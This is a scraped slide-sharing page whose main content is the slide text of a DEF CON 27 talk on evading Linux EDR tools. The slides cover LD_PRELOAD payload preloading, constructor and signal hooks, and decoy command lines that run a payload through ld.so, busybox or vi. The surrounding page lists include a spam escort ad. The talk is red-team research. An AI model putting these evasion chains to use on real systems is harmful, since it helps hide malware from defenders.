ANALYZE'15 - Bulk Malware Analysis at ScaleANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at Scale
 

Mehr von Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryFelipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsFelipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionFelipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentFelipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareFelipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationFelipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceFelipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionistFelipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksFelipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityFelipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsFelipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksFelipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationFelipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncFelipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesFelipe Prado
 

Mehr von Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Kürzlich hochgeladen

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024The Digital Insurer
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 

Kürzlich hochgeladen (20)

2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 

Practical Tips for Playing Hide and Seek with Linux EDRs

  • 1. Practical Tips for Playing Hide and Seek with Linux EDRs DEFCON 27 @Op_Nomad Zombie Ant Farm ! ! !!
  • 2. $ who –m Dimitry Snezhkov • Technologist • Member of the X-Force Red Team ü hacking ü tools, research ü all things offensive @Op_Nomad github.com/dsnezhkov
  • 3. Linux Offense: The Context Linux matters • It runs 90% of cloud workloads. • Attacks bypass office networks and land directly in the backend. • Attacks follows maximum ROI (access to data or computing resources). • Linux Adversarial efforts may be focused and targeted. • Defense follows the attacker. Endpoint Detection and Response (EDR) solutions appear in Linux. • Operators have to respond
  • 4. Linux EDRs - A Case of a Mistaken Identity • Pure play EDR products • Heuristic engine in Antivirus • Security Automation toolkits • Deployment / Patch Management • Side gig for app whitelisting solutions • As features of DLP products • Home grown monitoring frameworks • Tool assisted Threat Hunting. “Who in the world am I? Ah, that's the great puzzle.” No, you are not… Have a good day. Blue I am in yourLinux box…
  • 5. Operator has to address: • Initial foothold mechanism viability. Immediate detection. • Logging of activities, delayed interception and analysis. • Behavioral runtime patterns that trigger heuristics. • Persistent readiness for the long haul. • Evade Automation • Deflect tool assisted threat hunting • Proactive Supervision Context • Quiet boxes. Reliance on behavioral anomaly. • Locked down boxes. Reliance on known policy enforcement. • Peripheral sensors, honeypots. Linux Offense: Strategic Sketches
  • 6. Operational evasion: • Operationally shut down EDRs. • Directly exploit EDRs. • Blind EDR reporting and response. • Operationally confuse EDRs Targeted behavior evasion: • Target execution confusion. • Bypass EDR detection with novel ways of target exploitation • Deflect artifact discovery by Manual or Tool Assisted Threat hunting. Strategic Goals and Objectives, Distilled
  • 7. • Choice: Drop ready offensive tools on the target Ø May be outright detected. The unknown unknown. • Choice: Develop offensive tools on the target. Ø May not have tooling, footprint of presence, noise increases. • Choice: Utilization principle, aka “Living off the land” Ø May not be possible in the proactive supervision context. Strategic Goals and Objectives, Distilled • Need a viable path to building Linux malware in the face of EDRs: • Evade detection at target runtime. • Hide and serve payloads in an unpredictable ways to counter “the story”.
  • 8. Strategic Goals and Objectives, Distilled Assembled Attack: A blended approach to break the consistent story. Idea A: Bring in clean instrumented malware cradles. Build iterative capabilities. Idea B: Turn good binaries into instrumented malware cradles. Use them as decoys.
  • 9. Tactical Goals and Objectives, Sketches Stage I: Build out Offensive Primitives • Indiscriminate “preload and release” of legitimate binaries at runtime. • Preload library chaining, "split/scatter/assemble” of payload features. • Delayed payload triggers and features at runtime. • Rapid payload delivery mechanism prototypes with instrumented cradles.
  • 10. Tactical Goals and Objectives, Sketches Stage II: Weaponize and Operationalize Offensive Capabilities • Payload brokers, “Preload-as-a-service”. Inter-process and remote payload loading and hosting • Process mimicry and decoys • Library preloading in novel ways over memory.
  • 11. Stage I: Offensive Primitives • Basics of Offensive Dynamic Linking an Loading • Prototyping Offensive Mechanisms • Discussing Offensive Tradeoffs
  • 12. Linker wires up dynamic locations of needed libraries specified in the image. Dynamic Link Loading: The Basics ELF
  • 13. $ ./executable Error loading libctx.so The Basics of Dynamic Link Loading $ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable 107824: find library=libctx.so.1 [0]; searching 107824: Found file=./lib/libctx.so.1 “Hello World!” $ ldd executable libctx.so.1 => not found $ readelf -d executable 0x0000000000000001 (NEEDED) Shared library: [libctx.so.1] Execution Error: Dynamic dependency not found… Where is the dependency? Dependency is resolved!
  • 14. Dynamic ELF Hooking: The Basics Hook Redefine and reroute KNOWN function entry points
  • 15. Generic Dynamic API Hooking Tradeoffs We are are implementing an API detour to execute foreign logic. Challenges: • Need to know the details of target API FILE *fopen(const char *pathname, const char *mode); • Invoke and avoid detection. Opsec. Known signatures for known exploits. • Interoperate with the target binary in a clean fashion without crashing it. • Assumption inspection tooling availability on target.
  • 16. New ideas: Viability Check Tip: Be more agnostic to the specifics of any single API in the binary. Tip: Do not subvert the target. Instead: • Compel it to execute malicious code • Use it as a decoy. • If you can start a process you likely own the entire bootstrap of this process • Preload the payload generically into a known target and release for execution? • Expand malware features by bringing other modules out of band.
  • 17. • EDR sees the initial clean cradle, malware module loading is delayed. • EDR sees the code executing by approved system binaries in the process table, trusts the integrity of the known process. • EDR may not fully trace inter-process data handoff • preloaded malware calls on external data interchange • memory resident executables and shared libraries Parent / Child process relationships in Linux are transitive. We take advantage of this. • If you can start the parent process, you fully own its execution resources, and the resources of its progeny Offensive Strategy: Desired Outcomes
  • 18. Primitives for Working with Offensive Preloading What we Want
  • 19. 0x0 - ELF ABI Level : .INIT/.FINI/.PREINIT .INIT MAIN .FINI __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init; __attribute__((section(".fini_array"), used)) static typeof(fini) *fini_p = fini; __attribute__((section(".preinit_array"), used))
  • 20. . .. main() . . . , . . 0x1 – C runtime level : __libc_start_main main_orig = main; typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main"); return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end); Is it optimal?
  • 21. 0x2 – Linker Level: Weakrefs ü Controlled Weak Refs ü Foreign Weak Refs ü Chained Weak Refs void debug() __attribute__((weak)); void debug(){ if (mstat) mstat(); } $ nm --dynamic /bin/ls | grep 'w ' w __cxa_finalize w __gmon_start__ void mstat(){ ; } Chain1.so Chain2.so void main(){ if (debug) debug(); } LD_PRELOAD=chain1.so:chain2.so
  • 22. , ) ) , ,) , ) , " ) • , , ) , • .) , ) ( , ) , • ) , ) , ) ) , • , ) , ) 0x3 - .CTOR/.DTOR __attribute__((constructor (P))) void before_main(void) __attribute__((constructor )); void after_main(void) __attribute__((destructor )); void before_main(void) __attribute__((constructor (101))); void after_main(void) __attribute__((destructor(65534)));
  • 23. 0x5 - Signals, Exceptions, Fault branching Let’s keep breaking the EDR "story" of execution that leads to a confirmed IoC ü Out of Band signals. ü Fault Branching ü Self-triggered fault recovery ü Exception Handlers ü Timed execution void fpe_handler(int signal, siginfo_t *w, void *a) { printf("In SIGFPE handlern"); siglongjmp(fpe_env, w->si_code); } $LD_PRELOAD=lib/libinterrupt.so bin/ls Trigger SIGFPE handler In SIGFPE handler 1 / 0: caught division by zero! Executing payloads here ...
  • 24. • Rootkit style LD_PRELOAD cleanup (proc) • Obfuscation (compile time) • Runtime Encryption (memory) • Runtime situational checks • Better context mimicry • Access to EDRs to prove the exact primitives • No “main” no pain? • Alternative loaders 0x6 - Back to Basics: Protecting Payloads int _(void); void __data_frame_e() { int x = _(); exit(x); } int _() {} // Dynamic assignment to .interp section: const char my_interp[] __attribute__((section(".interp"))) = "/usr/local/bin/gelfload-ld-x86_64";
  • 25. Expanding and Scaling the Evasion Capabilities We now have some evasion primitives to work with. Nice. Let’s expand the evasion. Highlights: • Target utilization. • Hiding from EDRs via existing trusted binary decoys. • Dynamic scripting capabilities in the field. • Progressive LD_PRELOAD command line evasion. • Malware preloaders with self-preservation instincts.
  • 26. Utilization: Out of the Box Decoys HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL • System binaries that run other binaries. • Great decoys already exist on many Linux systems. • ld.so is a loader that can run executables directly as parameters. ld.so is always approved (known good) • busybox meta binary is handy. Combine the two to escape process pattern matching defensive engines? Bounce off something trusted and available to break the path of analysis
  • 27. 3 ,. 3 . , , $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^main_.*$' ./bin/ 3 4 , 3 $ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls; LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/ 2,3 3 1 , 3 3 311 echo | LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls , 3, 3 .2 , 2 3 .2 $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 vi -ensX $(/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq' Utilization: Out of the Box Decoys (Cont.)
  • 28. Second Order Evasion Capabilities Interface with a higher level code for greater evasion. Rapid prototyping and development of modular malware. • speed of development • better upgrades • memory safety ü Offense to retool quickly on the target box. ü "evade into reflection”. Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC. ü Extend malware into preloading code from dynamic languages with decent FFI
  • 29. 0x6A: Hiding Behind Reflective Mirrors package main import "C" import ( "fmt" ) var count int //export Entry func Entry(msg string) int { fmt.Println(msg) return count } func main() { // don’t care, or wild goose chase } go build -o shim.so -buildmode=c-shared shim.go DFIR: Reverse 2059 functions as a starting point ...
  • 30. 0x6B: Escape to Dynamic Code: Interpreters #include <lua.h> #include <lauxlib.h> #include <lualib.h> int main(int argc, char** argv) { lua_State *L; L = luaL_newstate(); luaL_openlibs(L); /* Load the Lua script */ if (luaL_loadfile(L, argv[1])) /* Run Lua script */ lua_pcall(L, 0, 0, 0) lua_close(L); } $LD_LIBRARY_PATH=. LD_PRELOAD=./liblua.so ./invoke_lua hello.lua Main() is nothing more than a preloaded constructor at this point • EDRs lose trail if you escape out to scripting • start loading other libraries at runtime. Pro-tip: Use it as another abstraction layer, e.g. socket out or pipe to another process hosting additional payloads
  • 31. Summary: Ain’t No Primitive Primitives.
  • 32. Stage II: Weaponizing and Operationalizing Payloads ü Uber preloaders ü Inline Parameterized Command Evasion. ü Memory-resident Malware Modules. ü Modular Malware Payload Warehouses ü Remote module loads ü Utilizable loaders
  • 33. Uber preloaders __attribute__((constructor)) static void _mctor(int argc, char **argv, char** envp) { // Save pointers to argv/argc/envp largv=argv; largc=argc; lenvp=envp; lenvp_start=envp; /* code here */ } • . . • . . $LD_PRELOAD=./lib/libctx.so.1 /bin/ls <preloader_arguments>
  • 34. Uber Preloaders $ LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so” LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls
  • 35. Uber Preloaders // resolve Entry symbol int (*entry)(char *) = dlsym(handle, "Entry"); //pass arguments along if any if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){ modload_args = strdup(modload_args_t); modload_args_len = strlen(modload_args); } Chains may still • dlopen() a module or use weak references • Adhere to API contracts • Implement Process mimicry and decoys • Switch on IPC communication and data signaling • Clean out artifacts (a la rootkit) // Call FFI stack
